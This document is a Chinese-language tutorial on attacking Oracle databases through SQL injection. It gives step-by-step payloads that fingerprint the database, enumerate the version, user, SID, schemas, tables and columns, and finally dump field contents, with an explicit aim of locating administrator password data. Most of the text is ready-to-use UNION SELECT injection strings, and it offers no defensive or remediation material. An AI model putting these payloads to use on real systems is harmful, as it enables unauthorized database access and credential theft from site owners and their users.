Oracle注入點信息基本檢測
Oracle注入點信息基本檢測
對于Oracle注入點的檢測比較特殊,不像其它注入點一樣,需要經(jīng)過多個步驟檢測確認注入點所使用的數(shù)據(jù)庫類型是否為Oracle。
Oracle注入點判斷
首先,需要判斷是否為Oracle注入點,可提交如下幾步查詢:
and 1=1
and 1=2
返回不一樣的頁面,則說明存在注入漏洞,繼續(xù)在注入點處提交如下查詢字符:
/*
"/*"是MySQL中的注釋符,返回錯誤說明該注入點不是MySQL,繼續(xù)提交如下查詢字符:
--
"--"是Oracle和MSSQL支持的注釋符,如果返回正常,則說明為這兩種數(shù)據(jù)庫類型之一。繼續(xù)提交如下查詢字符:
;
";"是子句查詢標識符,Oracle不支持多行查詢,因此如果返回錯誤,則說明很可能是Oracle數(shù)據(jù)庫。再提交如下查詢:
and exists(select * from dual)
或
and (select count (*) from user_tables)>0--
dual和user_tables是Oracle中的系統(tǒng)表,如果返回正常頁面,則可以確定是Oracle注入點。
注入點信息判斷
確定注入點類型后,與前面的MySQL注入一樣,先用Order by x猜出字段數(shù)目,再用聯(lián)合查詢union select方法得獲取想要的信息。
最主要的信息是數(shù)據(jù)庫版本,可利用(select banner from sys.v_$version where rownum=1)獲取版本信息,例如:
and 1=2 union select 1,2,3,(select banner from sys.v_$version where rownum=1),4,5…… from dual
獲取當前數(shù)據(jù)庫連接用戶名,可執(zhí)行如下查詢:
and 1=2 union select 1,2,3,(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual),4,5…… from dual
執(zhí)行如下查詢:
and 1=2 union select 1,2,3,(select member from v$logfile where rownum=1),4,5…… from dual
通過查詢日志文件絕對路徑,可以判斷操作系統(tǒng)平臺。
另外,要獲取服務器sid,可執(zhí)行如下查詢:
and 1=2 union select 1,2,3,(select instance_name from v$instance),4,5…… from dual
利用Oracle系統(tǒng)表爆數(shù)據(jù)庫內容
與MySQL一樣,可利用Oracle系統(tǒng)表直接爆出數(shù)據(jù)庫中的所有內容。Oracle中存在dual系統(tǒng)表,其中存儲了數(shù)據(jù)庫名、表名、字段名等信息,直接針對此表進行注入攻擊可獲得整個數(shù)據(jù)庫的結構,從而方便查詢到管理員帳號數(shù)據(jù)信息。
爆出庫名
在注入點處提交:
and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5…… from dual
可查詢爆出中第一個庫名,然后繼續(xù)查詢提交:
and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<>'第一個庫名'),4,5…… from dual
用同樣的方法,可以查詢出當前用戶數(shù)據(jù)庫中的所有數(shù)據(jù)庫庫名。#p#
獲取表名
在注入點處提交:
and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5…… from dual
可查詢數(shù)據(jù)庫中第一個表,然后繼續(xù)查詢提交:
and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'第一個表名'),4,5…… from dual
注意,表名要用大寫或大寫的16進制代碼。用同樣的方法,可以查詢出當前用戶數(shù)據(jù)庫中的所有表名。
另外,也可以采用與前面MSSQL注入相似的方法,直接包含pass的表名,提交查詢如下:
and (select column_name from user_tab_columns where column_name like'%25pass%25')>0
如果返回頁面正常的話,則說明當前數(shù)據(jù)庫中有包含pass的表名。再提交:
and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like'%25pass%25'),4,5…… from dual
即可得到包含pass的表名。
獲取字段名
在注入點處提交:
and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name='表名' and rownum=1),4,5…… from dual
可獲取指定中第一個字段。然后繼續(xù)查詢提交:
and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name='表名' and column_name<>'第1個字段名' and rownum=1),4,5…… from dual
即可獲取指定表中第二個字段。用同樣的方法,可以查詢出指定表中的所有字段名。
獲取字段內容
在注入點處提交:
and 1=2 union select 1,2,3,字段名,4,5…… from 表名
即可查詢出目標表里面的相應字段內容,以此類推,可以獲取表中的所有字段內容。
【編輯推薦】